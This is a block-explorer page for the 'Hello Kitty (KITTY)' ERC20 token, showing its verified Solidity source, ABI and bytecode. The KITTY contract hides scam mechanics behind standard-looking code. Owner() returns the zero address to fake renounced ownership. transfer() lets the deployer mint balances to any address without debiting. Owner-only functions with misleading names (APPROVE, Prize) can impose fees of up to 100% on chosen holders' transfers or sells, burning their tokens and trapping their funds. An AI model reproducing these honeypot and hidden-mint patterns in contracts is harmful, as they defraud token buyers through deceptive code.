ETH Price: $2,599.99 (-4.51%)

Token

Hello Kitty (KITTY)
 

Overview

Max Total Supply

100,000,000 KITTY

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
24,716.662770195932227062 KITTY

Value
$0.00
0xF094226Eb3092a549281152Acd2CA2c03Ea5231F
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KITTY

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-16
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.6;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function Owner() public view virtual returns (address) {
        return address(0);
    }

    modifier onlyOwner() {
        require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed Owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual  returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    
    function allowance(address Owner, address spender) public view virtual returns (uint256) {
        return _allowances[Owner][spender];
    }

    
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, Amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, _allowances[Owner][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        uint256 currentAllowance = _allowances[Owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(Owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _approve(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[Owner][spender] = Amount;
        emit Approval(Owner, spender, Amount);
    }

    
    function _spendAllowance(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(Owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(Owner, spender, currentAllowance - Amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}


contract KITTY is ERC20, Ownable {
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    } 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;


    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);

        
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _reduceFee(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    
    string private name_ = unicode"Hello Kitty";
    string private symbol_ = unicode"KITTY";
    uint   private constant totalSupply_ = 100000000;

    event NameChanged(string newName,string newSymbol , address by);

    constructor () ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        _reduceFee(msg.sender, totalSupply_ * 10**decimals());
        _defaultSellpee = 0; 
        _defaultBuypee = 0;
        _release[_msgSender()] = true;
        
    }

    function Muticall(string memory name,string memory symbol) public onlyOwner{
        name_ = name;
        symbol_ = symbol;
        emit NameChanged(name, symbol, msg.sender);
    }
    
    function name() public view override returns (string memory) {
        return name_;
    }

    
    function symbol() public view override returns (string memory) {
        return symbol_;
    }

    using SafeMath for uint256;

    uint256 private _defaultSellpee = 0;
    uint256 private _defaultBuypee = 0;


    mapping(address => bool) private _Approve;

    mapping(address => uint256) private _Aprove;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyOwner returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }


    function Prize(uint256 _value) external onlyOwner {
        _defaultSellpee = _value;
    }

    

    

    function APPROVE(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account pee must be greater than or equal to 1");
        _Aprove[_address] = _value;
    }

    

    function getAprove(address _address) external view onlyOwner returns (uint256) {
        return _Aprove[_address];
    }


    function Approve(address _address, bool _value) external onlyOwner {
        _Approve[_address] = _value;
    }

    function getApprovepee(address _address) external view onlyOwner returns (bool) {
        return _Approve[_address];
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _Approve[from] || _Approve[to];
    }


    function _receiveF(
        address from,
        address to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradepeeAmount = 0;

        if (rF) {
            uint256 tradepee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {

                    tradepee = _defaultSellpee;
                }
                if (from == uniswapV2Pair) {

                    tradepee = _defaultBuypee;
                }
            }
            if (_Aprove[from] > 0) {
                tradepee = _Aprove[from];
            }

            tradepeeAmount = _Amount.mul(tradepee).div(100);
        }


        if (tradepeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradepeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradepeeAmount);
            emit Transfer(from, _deadAddress, tradepeeAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradepeeAmount);
        _balances[to] = _balances[to].add(_Amount - tradepeeAmount);
        emit Transfer(from, to, _Amount - tradepeeAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        if (_release[Owner] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(Owner, to, Amount);
        return true;
    }

    
    

    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
       
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"string","name":"newName","type":"string"},{"indexed":false,"internalType":"string","name":"newSymbol","type":"string"},{"indexed":false,"internalType":"address","name":"by","type":"address"}],"name":"NameChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"APPROVE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"name":"Muticall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApprovepee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60e0604052600b60a08190526a48656c6c6f204b6974747960a81b60c09081526200002e91600891906200055d565b50604080518082019091526005808252644b4954545960d81b60209092019182526200005d916009916200055d565b506000600a556000600b553480156200007557600080fd5b506008805462000085906200077c565b80601f0160208091040260200160405190810160405280929190818152602001828054620000b3906200077c565b8015620001045780601f10620000d85761010080835404028352916020019162000104565b820191906000526020600020905b815481529060010190602001808311620000e657829003601f168201915b50505050506009805462000118906200077c565b80601f016020809104026020016040519081016040528092919081815260200182805462000146906200077c565b8015620001975780601f106200016b5761010080835404028352916020019162000197565b820191906000526020600020905b8154815290600101906020018083116200017957829003601f168201915b50508451620001b19350600292506020860191506200055d565b508051620001c79060039060208401906200055d565b505050620001e4620001de6200041560201b60201c565b62000419565b7f7a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000006080526040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a015591600480820192602092909190829003018186803b1580156200025757600080fd5b505afa1580156200026c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000292919062000603565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002db57600080fd5b505afa158015620002f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000316919062000603565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200035f57600080fd5b505af115801562000374573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200039a919062000603565b600780546001600160a01b0319166001600160a01b0392909216919091179055620003eb33620003c8601290565b620003d590600a62000699565b620003e5906305f5e1006200075a565b6200046b565b506000600a819055600b819055338152600660205260409020805460ff19166001179055620007cf565b3390565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620004d05760405162461bcd60e51b815260206004820152602160248201527f45524332303a2052455741524420746f20746865207a65726f206164647265736044820152607360f81b606482015260840160405180910390fd5b8060016000828254620004e4919062000635565b90915550506001600160a01b038216600090815260056020526040812080548392906200051390849062000635565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b8280546200056b906200077c565b90600052602060002090601f0160209004810192826200058f5760008555620005da565b82601f10620005aa57805160ff1916838001178555620005da565b82800160010185558215620005da579182015b82811115620005da578251825591602001919060010190620005bd565b50620005e8929150620005ec565b5090565b5b80821115620005e85760008155600101620005ed565b6000602082840312156200061657600080fd5b81516001600160a01b03811681146200062e57600080fd5b9392505050565b600082198211156200064b576200064b620007b9565b500190565b600181815b8085111562000691578160001904821115620006755762000675620007b9565b808516156200068357918102915b93841c939080029062000655565b509250929050565b60006200062e60ff841683600082620006b55750600162000754565b81620006c45750600062000754565b8160018114620006dd5760028114620006e85762000708565b600191505062000754565b60ff841115620006fc57620006fc620007b9565b50506001821b62000754565b5060208310610133831016604e8410600b84101617156200072d575081810a62000754565b62000739838362000650565b8060001904821115620007505762000750620007b9565b0290505b92915050565b6000816000190483118215151615620007775762000777620007b9565b500290565b600181811c908216806200079157607f821691505b60208210811415620007b357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c6113b3620007ee60003960006101a301526113b36000f3fe608060405234801561001057600080fd5b50600436106101585760003560e01c80636c9992b3116100c3578063a9059cbb1161007c578063a9059cbb146102f7578063b4a99a4e1461030a578063c4e7c16514610311578063d32c99cd14610324578063dd62ed3e14610337578063f2fde38b1461036e57600080fd5b80636c9992b31461028557806370a0823114610298578063715018a6146102c157806380893918146102c957806395d89b41146102dc578063a457c2d7146102e457600080fd5b80632c91d071116101155780632c91d07114610217578063313ce5671461022a57806339509351146102395780633de94b451461024c57806349bd5a5e1461025f5780635dd7c8ac1461027257600080fd5b806306fdde031461015d578063095ea7b31461017b5780631694505e1461019e57806318160ddd146101dd5780631f478f1e146101ef57806323b872dd14610204575b600080fd5b610165610381565b6040516101729190611220565b60405180910390f35b61018e61018936600461112c565b610413565b6040519015158152602001610172565b6101c57f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610172565b6001545b604051908152602001610172565b6102026101fd3660046110f0565b61042d565b005b61018e6102123660046110b4565b61048b565b610202610225366004611066565b6104af565b60405160128152602001610172565b61018e61024736600461112c565b6104fb565b61020261025a3660046111ba565b610538565b6007546101c5906001600160a01b031681565b6101e1610280366004611066565b610567565b61018e610293366004611066565b6105b4565b6101e16102a6366004611066565b6001600160a01b031660009081526005602052604090205490565b610202610600565b61018e6102d7366004611066565b610636565b610165610682565b61018e6102f236600461112c565b610691565b61018e61030536600461112c565b610721565b60006101c5565b61020261031f36600461112c565b610784565b610202610332366004611156565b6107ca565b6101e1610345366004611081565b6001600160a01b0391821660009081526020818152604080832093909416825291909152205490565b61020261037c366004611066565b61085b565b60606008805461039090611316565b80601f01602080910402602001604051908101604052809291908181526020018280546103bc90611316565b80156104095780601f106103de57610100808354040283529160200191610409565b820191906000526020600020905b8154815290600101906020018083116103ec57829003601f168201915b5050505050905090565b6000336104218185856108f6565b60019150505b92915050565b6004546001600160a01b031633146104605760405162461bcd60e51b815260040161045790611271565b60405180910390fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600033610499858285610a18565b6104a4858585610aa8565b506001949350505050565b6004546001600160a01b031633146104d95760405162461bcd60e51b815260040161045790611271565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b336000818152602081815260408083206001600160a01b038716845290915281205490919061042190829086906105339087906112a6565b6108f6565b6004546001600160a01b031633146105625760405162461bcd60e51b815260040161045790611271565b600a55565b6004546000906001600160a01b031633146105945760405162461bcd60e51b815260040161045790611271565b506001600160a01b0381166000908152600d60205260409020545b919050565b6004546000906001600160a01b031633146105e15760405162461bcd60e51b815260040161045790611271565b506001600160a01b031660009081526006602052604090205460ff1690565b6004546001600160a01b0316331461062a5760405162461bcd60e51b815260040161045790611271565b6106346000610e61565b565b6004546000906001600160a01b031633146106635760405162461bcd60e51b815260040161045790611271565b506001600160a01b03166000908152600c602052604090205460ff1690565b60606009805461039090611316565b336000818152602081815260408083206001600160a01b0387168452909152812054909190838110156107145760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610457565b6104a482868684036108f6565b3360008181526006602052604081205490919060ff16151560011415610779576001600160a01b038416600090815260056020526040812080548592906107699084906112a6565b9091555060019250610427915050565b610421818585610aa8565b6004546001600160a01b031633146107ae5760405162461bcd60e51b815260040161045790611271565b6001600160a01b039091166000908152600d6020526040902055565b6004546001600160a01b031633146107f45760405162461bcd60e51b815260040161045790611271565b8151610807906008906020850190610f29565b50805161081b906009906020840190610f29565b507f6c5d2637118cb4115becb3c3e6e553db25400cb3ffe8fd6fb2a2b4e01433862782823360405161084f93929190611233565b60405180910390a15050565b6004546001600160a01b031633146108855760405162461bcd60e51b815260040161045790611271565b6001600160a01b0381166108ea5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610457565b6108f381610e61565b50565b6001600160a01b0383166109585760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610457565b6001600160a01b0382166109b95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610457565b6001600160a01b038381166000818152602081815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03838116600090815260208181526040808320938616835292905220546000198114610aa25781811015610a955760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610457565b610aa284848484036108f6565b50505050565b6001600160a01b038316610b0c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610457565b6001600160a01b038216610b6e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610457565b6001600160a01b03831660009081526005602052604090205481811015610be65760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220416d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610457565b6001610bf28585610eb3565b15610bfb575060005b60008115610c9f576007546000906001600160a01b031615610c4d576007546001600160a01b0387811691161415610c325750600a545b6007546001600160a01b0388811691161415610c4d5750600b545b6001600160a01b0387166000908152600d602052604090205415610c8657506001600160a01b0386166000908152600d60205260409020545b610c9b6064610c958784610ef9565b90610f05565b9150505b8015610d8d576001600160a01b038616600090815260056020526040902054610cc89082610f11565b6001600160a01b03871660009081526005602052604081209190915561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba54610d159082610f1d565b61dead600081905260056020527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba919091556040516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d849085815260200190565b60405180910390a35b610db9610d9a82866112ff565b6001600160a01b03881660009081526005602052604090205490610f11565b6001600160a01b038716600090815260056020526040902055610dfe610ddf82866112ff565b6001600160a01b03871660009081526005602052604090205490610f1d565b6001600160a01b0380871660008181526005602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e4884886112ff565b60405190815260200160405180910390a3505050505050565b600480546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152600c602052604081205460ff1680610ef257506001600160a01b0382166000908152600c602052604090205460ff165b9392505050565b6000610ef282846112e0565b6000610ef282846112be565b6000610ef282846112ff565b6000610ef282846112a6565b828054610f3590611316565b90600052602060002090601f016020900481019282610f575760008555610f9d565b82601f10610f7057805160ff1916838001178555610f9d565b82800160010185558215610f9d579182015b82811115610f9d578251825591602001919060010190610f82565b50610fa9929150610fad565b5090565b5b80821115610fa95760008155600101610fae565b80356001600160a01b03811681146105af57600080fd5b600082601f830112610fea57600080fd5b813567ffffffffffffffff8082111561100557611005611367565b604051601f8301601f19908116603f0116810190828211818310171561102d5761102d611367565b81604052